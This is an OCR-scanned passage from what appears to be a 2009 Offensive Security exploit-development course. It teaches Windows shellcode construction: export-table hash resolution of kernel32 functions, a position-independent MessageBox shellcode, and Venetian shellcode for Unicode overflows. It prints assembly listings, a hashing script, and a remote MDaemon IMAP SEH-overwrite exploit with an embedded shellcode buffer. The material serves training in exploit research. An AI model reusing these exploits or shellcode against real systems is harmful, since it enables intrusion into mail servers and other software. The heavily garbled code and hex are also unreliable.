the hash of a function name in order to search for it inside our shellcode”’ 4i/aersbin/pyenon Import numpy, 992 Get ror str ibyte, couat) Bor @ byte by ‘count! pite s= # padaea 32 bit binb ~ mumpy.base repr (byte, 2) 26411132) wnile count > 0 f ROTATE OY 1 BYTE : example for Ox¢1 + a00090a000an000n000000003 000002 binb = Binb[-1) + binb(0:-1] # 100002n7nN0000000090000000100000 return [int (binb, 2)) if ame __ esi = sys.azgv(t) except Indexitesort ‘print "Usage: te INBOTSORING" ¥ aya.argy{0] S¥S-exkE anata 4 iniciatize variaples eax = 0x00 for esx in esi: ‘ede = edx + ord(eax) if ror_count < len(eeii-: ae = ror ate (enie, Ox) print Hexieds) ‘ASM Function Name Hashing *Please note that the ROR function in the script, rotate bits using a string representation of a binary number. A correct implementation would use shift and or bitwise operators combined together (h<<5 | h>>27 }. The choice to use string operations is due to the fact that is simpler to visualize bit rotations in this way for the student. 2B (© Allright reserved to Offensive Security, 2009 Ok let's try it computing the "ExitPracess" function name cote & /oash func_name.py ExitProce: 0573024870 PyHashing Function Names We will use the hash computed (0x73e2d87e) to resolve its symbol inside kernel32.dll, Take time to play with the above script, to better understand the hashing algorithm used in the Export Directory Table Method. We are almost there! Every time 2 hash is computed, find_function_compare is called through the jz compute_hash_finished, to compare it to the hash previously pushed on the stack as a reference, compute_hash: compute hath again test al, al 32 Compute hash finished add edz, eax Sap compute hast_again compte hash finished Find function compare emp dx, [oop + 20h] gaz find tunction Loop nov abe, [edi + 24h] aad mx, abe, mov ox, [ebx + 2 * ocx] mov abt, [edi + ch] aad bx, aby ear, [ee + 4 * ocx) add eax, bp mov [oap + ichl, ‘find function finished: Compute Function Names Hash Routines aero etx Clear direction Load the next byte fron esi nto al Test ourselves, TE the 2F 4 sot,we've hit the mull ter Rotate edx 13 bits co the right Bad the new byte to the accumblator j Rext iteration ) Compare the computed hash with the Seduested Hash ; No match, try the next one Ordinals table relative offect } ordinals table Via Extrapolate the function's ordinal | Address table relative offeot Address table Vuk Extract the relative function offset from ite ordinal Overwrite stack version of esx ‘from pushed Restore all registers 79 © Allrights reserved to Offensive Sect, 2 Ifthe hash matches, we fetch the ordinals array absolute address ("mov ebx, [edi+ 24h] ; add ebx, ebp”) and extrapolate the function's ordinal ("mov cx, [ebx + 2 * ecx]"). The method is similar to the one used to fetch the function's name address; the only difference is that ordinals are two bytes in size. Once again, with a similar method, we get the VMA of the addresses array (“mov ebx, [edi + Ich] ; add ebx, bp"), extract the relative function offset from its ordinal (mov eax, [ebx + 4 * ecx]), make it absolute and place it onto the stack replacing the old EAX value before popping all registers with the “popad” instruction. ‘The following example shows the whole process of searching for the ExitProcess function address. Once the symbol has been resolved we call the function to cleanly exit from the process. Now let's compile the ASM code and follow the whole process with OllyDbg to understand the method described above. Te 7 proaraming feat ‘model flat, stdeail i Slat model programing/stdcal! convention(9) assune fartiat ata } start data section coae + start code section dnp entry entry: sub esp, 60h apy ebp, sep call Hind kernels2 puch 73e2dH7eh sbxitprocess hesh fash eat fell Hing ¢unction Pash Hilt Reason fall eax peusterocees fina kemel32: nov eax, fe: [eaxt30h1 Rov sax, (eaxt0ch} moe est, [eaxstch] doded mov edi, [oaxs00h} ftnd_fenction ushad } Save all cegisters fov ebp, ea } Take tho base address of kornel92 and 3 pot it dn ep fev ea, (emp + 3cnl Offset to PE Signature ve mov edi, Cepp + eax + 78h) } Export table relative offect face ai, bp 5 Export table Wan mov ocx, [edi + 18h1 # Number of names Bev bx, [edi + 20h] Nance table zelative offvet aaa em, } Names table Vim ‘sunetion finished 2 Jump to the end 1f eox 19 0 febx + ocx * 4) } Store the relative offset of the nane sa est) ebp Beet Set eal to the WMA of the current none 80 (© dlrights reserved to Offensive Security, 2009 ro compute hash again: je compute has Sup Sempute hash again compute hash finished find function compare: cmp edx, [esp + 28h] jez Find function toop Rov ebx, (edi + 24h] fas ebe, abe mov fe, (ebe + 2 * ocx) ebx, [edi + chy eam, (ebx + 4 + ecxl add eax, chp | nov {esp + lehl, eax fing function tintshed: ‘popad ExitProcess shelicode ASM code 1) Repeat the required steps in order to fully understand how to resolve symbols once kernel32 base address has been obtained. Wa at ce i ti ea Bees gfe seks toy ti wind tale fea the aon ayte foo Boot itenstion ‘compas the computed hash with the } requested hash io match, try the next one. Ordinals table relative offset Grainats table HHA Eatrapolate the function's ondinal Address table relative offset Burract the relative function offset from its ordinal Function sme, from pushad Recor = a1 © All rights reserved to Offensive Security, 2009 I Now that we grasp the theory, we are going to write a custom MessageBox shelicode using the following steps: 306 Find kernel32.dll base address Resolve ExitProcess symbol Resolve LoadLibrary symbol Load user32.dll in process memory space Resolve MessageBoxA function within user32.dll Call our function showing "pwnd' in a message box Exit from the process Tmedel fiat, “stdcall Seoune rartiae jmp entry sub esp, 60m ena resclve_syabole_kemel3: eho, e9p find kernet32 7 Resolve Losdiibrarya push call push bush Decdesebeh eat ti son obp+ 108), eax 73e2a87en [epp + Loh], eax ‘resolve_eymbole_weer32 Qrereis presented the ASM code forthe new version ofthe shelicode 7 Sais Say pera FOE 7 flat model progranming/stacall convention(9) >) stare data section 2} etart code section sedi -> keenel32.d1 base Hoaduibearya ash core function addy on stack PixitRrocess bash oad asor32.dLl in memory 82 (© Allrghts reserved to Ofensive Security, 2009 Md et eg a 1 nesolive YosoageBoxA ee ooh abcddatseh e ee bush cai = Sait find. fiction mov (sop Lah} eax fetore function addy on stack exec_shelloode: 7 Call "pwad™ wessauezona push eax ipod string ash 64607770 fend string Bush ep pointer to pend Pop ocx jstore pointer in ocx 7 Push Messagenoxa acgo in reverse order push eas push 8c Dush ece push ai 1 Call messagenoxa call vora per [emp + 18h) } call BeitProcess pie box! Gall dvord pte [emp + 10h) fand_kernel 32 nav as, Ee: feax+3h] nov eax, [eaxtOch] Rov esl, [eaxtich] eded nov edi, [eax+08n} inp eb cb, olgd > Saye sieves a i whdever find_Cunetion_1oor dec eck aad eel, ep Sinise fo the WMA of the sussent name 83 (© Allright reserved to Offensive Secuity, 2009 al, aL ‘compute hash finished ede, Och eck, eax coupute. hesh_aga compute hash finished: find function compare: impede, [esp + 26h) jnefind_fumction_to0p nov ebx, [edi + 223] aaa bx, ebp mov ex, [6bx + 2 > eox) sev ebx, [edt + Ich] add he, bp mov eax, [ebx + €* 60x) aad eax, abp rev (oop + leh), eax find function finished: | essapesox selcode ASM code Clear direction ; toad the next byte fram eat into al Tost curzeaves. Hf the 2F is setywe'ye hit the mull tem Sotate edz 13 bite to the right Aad the new byte to the accmlat: Next dteretson } Compare the computes hash with the } requested hash No match, try the next one. Ordinale table relative offeet Ordinate table YMA } Bxteapolate the functo Address tabte relat } Addeeas table WHA } Extract the relative function offset } from its orainal } Overwrite stack version of eax 's ordinal osteet # Restore a1 regietere } Boturn ‘There are a couple of new things in the above shellcode to note: * We loaded user32.allin memory by pushing its name on the stack and then invoking Loadtibrarya; ‘+ We pushed on to the stack all the MessageBox arguments before calling the function itself. The ‘MessageBoxA function has the following prototype: int MessageBox( ND bie, LeCTSTR Iptext, LECTSTR IpCaption, | one utype MessageBox Prototype 1) owner Riaow #7 caption 1) wohaviour (ofa 84 (© Alights reserved to Offensive Security, 2009 1) Compile the above ASM code and follow the shellcode through the debugger. 85. © Alig red Offensive Security, 2009 Our shelicode seems ok, but there's a problem that you might have noticed, we have some null bytes in the ASM code due to the “call find_function” opcodes (£8 XX000000). To avoid the null bytes, we are going to use a technique which allows us to write a piece of code that doesn’t care about where it will be loaded. The ASM code will be position independent in order to be able to be injected anywhere in memory, ‘The technique exploits the fact that a call to a function located in a lower address doesn’t contain null bytes and moreover it pushes on to the stack the address ahead of the call instruction itself. A “pop e932" will then fetch an absolute address that will be used as a “base address” in the shellcode. CIDE ne eo [C) File View Debug | Plugins Options Window Help ‘leq x] >| i) #3) PUSH EOI £8 ssonocoe BALL Hessages.casaio7a TES _O8 GNP SHORT Hessages. 00401002 > SSEC 60 SUB ESP, = + SEC. HOU EBR; ESP paso1ae7 | €8 Saanon99 CALL HeZsaseb. nasaiasr + §8 SEAEQEEC | FUSH Figure 33: NULL bytes in shellcode ap find function shorten tne find function ot oxsh Bytes lenatn find_functlon_shorten_bno: call fing fonction eet Position independent Code In the above code the ESI register will contain a find_function absolute address that can then be used in following calls within the shellcode. 86 (© AlIrights eserved to Offensive Security, 2009 Below we can see how this follows the modified version of MessageBoxA in which we applied the PIC technique: aE Seale Saale progeamning Tanne zs ode! flat, stdcall # flat model progeaming/atdeall comvension(9) acoune fertlat data 1 start date section coda 4 start code section jap encry ga aap, 60 nov aby, exp find kerneis2: mov a) fa (eax*30K] ov ear (eaxtacn) ov esi, CeaxtIch} Todsd Rev edi, Ceax+08hal ~"gep find function shorten ine ‘find _fnetion et ind_eunetion pushed 1 Save ait registers Rov obp, eat j Take the base address of kexae122 and F pie se an tp mov oat, [amp + Jon) } Ostset to PR signature van Sev aly (app + oan + 7h) j Report table relative offset 384 di op } Export table Wan Sov sexy [eal + 10n) 7 Nunber of names Bev abs, (edi + 20h) | Menes table relative offeot 433 She, ep } Mawes table van Find_function Loop: "jecu: Find function tintshed Gump to the ond if ecx te 0 dec ocx } Decrement our names counter ROY esl, [eb + eax * 4) } Store the velative offsst of the nane compute nach: compate_hash_again: least 7 Uoad the next byte from eai inte al test al, al nest ourselves: Jt compte hash finished the OF ie sct,wetve hit the mull tem zor eax, th } Rotate edt 13 bite ro the riche edd cox, eax Aad the new ayte to the accumulator jmp_confute bash again Next iteration © Allrights reserved to Offensive Security, 2008 87 ompute_Raah ini aae find fonction conpace cmp eck, [esp + 28h) gat find function Loop Dov kernel32.d11 base faeadLibraryn nash tetore function addy on stack fore function addy on stack fed > user32.di base tstore function addy on tack pow sting fod string Hpointer to pend Store pointer in ect + Push Wessagetoxn arge in reverse order push ecx 88 © AI rights reserved to Offensive Secrity, 2009 Call Mesaagenoxs call dword ptr {ebp + 18h Pash ocx eit Season A dvord per Lebo + end start v0 ‘MessageBox Shellcode (PIC Version) 1) Compile the above code and follow the execution flow to fully understand the PIC technique. 89 (0 Alright reserved to Offensive Security, 2009 } It’s time to test our custom shelleode with a real exploit! We'll use a Mdaemon IMAP Exploit for a vulnerability we discovered in 2008. The vulnerability is a "post authentication” and the exploit uses the SEH Overwrite technique to gain code execution. The following code was fetched from milwOrm - in which we replaced the existing bind shell payload with our MessageBox custom shellcode”*: FI 7aseToiaTpvenon from socket import * from optparee import optionParser import cys, tine print D> “a Print "[* NDAMEN (FOST AUTH) REMOTE ROOT IMAP FETCH COMMAND EXPLOIT. +] print *[r DISCOVERED AND CODED st print *[ by “ paint ( MRITEO MELE “it peint *[> (eyajiny “it print oe won bednind.com ~ f.aray-noeld.net as peint of a Benge = "Aprog “K TANGRT HOST “P TRRGHT_PORE -1 USER —p PASGKD" parser ~ optionPareor (uoage-ueage) parser edd option("=f", "target host”, type=" action-"etores, dost=*Hoar", help-"target Host") parser.add option(*=2, *=-target port", type action-"etoze™, dest="PoRD™, helpe"zarget pore") perser.add option|*=1", *--login-user", typastatring", actioneretore", dase-nagen, help="Dser login" ", Teelogin-paseword, type Aone"store", dest="PASSHD", help-"Uae= pesswora”) args) = paruer-parse args) options.Host PORT = opt ions. Pom USER > options oseR PASSWD = options. PASSAD if not (0ST and BORE and USER and PASSHD) parser print belp() sys.exit) ring”, 4 scindows/ MESSAGEEOX SHELLCODR - 185 byte shalloode = ( "\x83\ xB \x60\ xc \xB0\x33\xC0\x64 \x8\x40\x30\x9B\ x40\x0C\x8B\x70\n1C\ AD" "\xSB\x78 \x08 \xEB \xSi\xSH\ x8 3\xEE \x50\ 25 x50\ x60 \xEB\xEF\nSB tS 3c x0 "\TC\x28\x78 003 e2D\ 8B x4 F\x1 8x8 SE \x20 \x03\ 30D \xE3 32x49 34 "2B \x03\XF5 \xc33\xCO\x99\ ECAC 94 \xCO\x76 \nO7\aC? ACA \ OD 02 \xDO\ REE NU SBS 424229 75k? XSF ued ODD V6 BOC http://www smilwOrm.com/exploits/5248 90 (© Al rights reserved to tensive Security, 2009 STG HOS HDB (HBOS HB AOS (CHB AT RT GASP sPP\x6@\XEE \x4E\ x08 \xEC\x57\xEF\xD6\ x89 \x45 \10\x60\x78\xD8\x02\x79\ 257" PF \xD6\x89\ x45 \x1C\x33 \xC0 \x56\xB8\ x33 \x32\x50\x68\x75\x79\r65\072\e54" '\RPP\xS5\x10\x9B\xF8\x68 \xA8\xAZ\x4D \xBC\x57 PP \xD6\ x09 \nS\a8\433\x00" *\x50\x68 \x70\7 76H 6 4 \5 4X59 50 ESI ST x50 \aPP\SS LA \C39 ne \5 *NRPP\W5S\x1C\90\3e90" = Socket ar awer, sock_srREn) Beint * (4) CGmnecting t6 tap server. print s.zeov(lo24) | print *" (+1 Logging in. S.sond ("0001 LOGIN seis" pEint s-recv(1024) | print *"(41 selecting Inbox Folder..." S.send ("0002 SzuECT inbox\e\a") \o* (USER, PASSWD) ) Deine gozeev ust) Beige ©" fe) we need at leant Gon meesagi in 186t) appendiag one... Brena? APPEND Sabo 1] ear prise guzecv oes) Frist *G] iat wootd you ike for alnnoe? SenGuennt aN Had Send Sonotirsr Rib BONAR Aa!) poise g.eeov ea | brine *°CSy"omesenes amaze: senaing avit putte [ieee s eee # pop edi; pop ebp; vet; From mdaenon/asncash dll + "\xns\x06\x90\390" + "\xe\sl \nde\xea" + *\x30"8 + \ (codes + C1 #35 664 FRECH 2:4 (LAGS BODY{” + EVIL +" (DANE FROM ])\r\n") ena ose (} ink" E41 DONE! heck your shell on sarka" 4 (Host, 4968) | oaemon imap expo, Messugedox shed Vole PHBH ZFS PPR otek 532 flare ey at dl | - a ete SEY piel _ Correctly See dhay — sO / anf Est a 7CWBEF n OKlACEET 6st = 0414 6/@3¢ ——~_ Sek oY 4 GRIDY Gi} 2K dey gb Mrk~ 0414 Bb 54 i wer stvts BIC. 74d FIZ Ey 91 (© All igs reserved to Offensive Securty, 2009 ” fam] Pemnensnny jQaverentie|@ew | Figure 34: MDaemon styled "pwnd" MessageBox 1) Follow the exploit by attaching the imap process from within the debugger, don't forget to set a breakpoint on the POP POP RET address; you should get a nice "pwnd" Mdaemon styled message box. This module discussed the theory and practce behind creating custom shellcode which can be used universially on various Windows Platforms. Although smaller and simpler shellcode can be achieved by statically calling the required functions, finding these function addresses dynamically is the only way to go in Windows Vista, due to ASLR. 92 (© All rights reserved to Offensive Security, 2009 + Understanding Unicode Overflows Understanding and using Venetian Shellcode in limited character set environments * Exploiting the DIVX 6.6 vulnerability using Venetian Shellcode Overvie “Unicode @ computing industry standard allowing computers to consistently represent and manipulate text expressed in most of the world’s writing systems”. The Unicode character set uses sixteen bits per character rather than 8 bits like ASCI, allowing for 65,536 unique characters. This means that if an operating system uses Unicode, it has to be coded only once and only internationalization settings need to be changed (character set and language). The problem in exploiting buffer overflows occurring in Unicode strings, is that “standard” shellcode sent to the vulnerable application is “modified” before being executed because of the Unicode conversion applied to the input buffer. The consequence is that standard shellcode can’t be executed in these situations resulting in a crash. “The Venetian exploit” paper written by Chris Anley in 2002"! was the first public proof that buffer overflows which occur in Unicode strings can be exploited. The paper introduces a method for creating shellcode using only UTF-16 friendly opcodes, that is, with every second byte being @ NULL. In this module we will study the Venetian method and apply it to a buffer overflow which affects a well known multimedia player. *ttp://en wikipedia org/wiki/Unicode Creating Arbitrary Shell Code in Unicode Expanded Strings, January 2002 (Chris Anley) htto://wwww.ngssoftware.com/papers/unicodebo.odf 93 (© All rights reserved to Offensive Security, 2009 | a a Under Windows, two functions are responsible for ASCII to Unicode conversion and vice versa, respective! sneahLtiByteronsdechar ‘DINE CodePage, LACED eElags, peste Ipmult pyceses, Lntekaitiayee, LISTE Ippidecharstr, intochitidethar ve pre SOURCE SrRENG DEsTIMnerON enRTNa inthidecharromitiayre( ‘UINT CodsPage, DRORD awelags, Power Ipwiaecharsts, intochmigechar, LPOTR IpMultisyeeste, sntcbualtigyte, LFCSTE Ipbarauiecnar, LPBOOL IpUseaDefaulten. SOURCE STRING Desrranrron steric Win32 API unicode coversion functions f: MultiByteToWideChar and WideCharToMultiByte”. ‘The first parameter passed to both the above functions is the code page which is very important. The code page describes the variations in the character-set to be applied to 8-bit/16-bit value, on the base of this parameter the original value may turn into completely different 16-bit/8-bit values. The code page used in the conversions can have a big impact on our shelicode in Unicode-based exploits. However, in ‘most of the cases, ASCII characters are generally converted to their wide-character versions simply padding them with a NULL byte (0x41 -> 0x4100); luckily, this is also the case of the application that we are going to exploit in this module. “Unicode characters are often referred to as wide characters, 94 © All rights reserved to Offensive Seeuity, 2009 As explained in [31], the “Venetian” technique consists of using two separated payloads - the first payload, that is half of the final one we want to execute, is used as a “solid” bas which bytes are interleaved with NULL gaps because of the Unicode conversion. The second payload is a shelicode writer completely written with a set of instructions that are Unicode in nature. Once the execution passes to the shellcode writer, it starts to fill the null gaps replacing them, byte by byte, with the second half of the final shelicode in order to obtain our complete payload. The name “Venetian Blinds” comes from the fact that the Unicode buffer can be imagined to be somewhat similar to a Venetian blind closed by the shellcode writer. The key points of this method are: There must be at least one register pointing to our Unicode buffer; ‘+ XCHG opcodes and ADD / SUB operations with multiples of 256 bytes can be safely used to further adjust the register that will be used for writing arbitrary bytes filling zeroes; We must modify memory, using instructions that contain alternating zeroes (Unicode friendly opcodes); We must insert "nop" equivalent opcodes between instructions in order to make sure that our code is aligned correctly on instruction boundaries. Anley choose to use instructions like the following in order to “realign” shellcode: 00 én do:aad vyte ptr febpl 00 G8 o0:ada byte per [eal] 0 aad byce ptr (edi /en jada byte ptr [eax an add byes pte [een] /dh fads bye pt Led] jan ‘add byce per [ep ,an (Nop instructions that can be used to align shellcode The choice obviously depends on which of our registers points to a writable memory area which won't bring execution problems while being overwritten, Assuming that there is a at least one register that points to our Unicode buffer the shellcode writer “core” will be composed of the following instruction set: 95 (© Allrights reserved wo Offensive Security, 2008 80 pte [eax], 75 00 Bee [ebpl;ch 40 00 e ptr [ebpl ch 40 00 ptr (ebp} an:00:02, 002)n") E:write (stub) Flaloset) | peint "sar nae been created ~ phi3e \n"s | pocos Source Code Running POCO4, the application throws an exception. As the SEH is completely overwritten by our buffer, we can control the execution flow. Nevertheless SEH is not overwritten with our usual 0461414141 but with 0x41004100, indicating that our buffer has been converted to Unicode before smashing the stack. f you are not familiar with SEH exploitation technique, please read Text [36] carefully before proceeding “tto://www.securityfocus.com/bid/28739 utp: / www. mibwOrm,com/exploits/5462 “http://www. ngssoftware.com/papers/defeating-w2k3-stack-protection.pdf (Litchfield 2003) 97 ‘© Al rights reserve to fensve Security, 2009 Figure 35: SEH overwritten by our evil buffer 1) Repeat the required steps in order to fully overwrite the Structure Exception Handler. 98 (© Al rights reserved to OrTensive Security, 2009

Você também pode gostar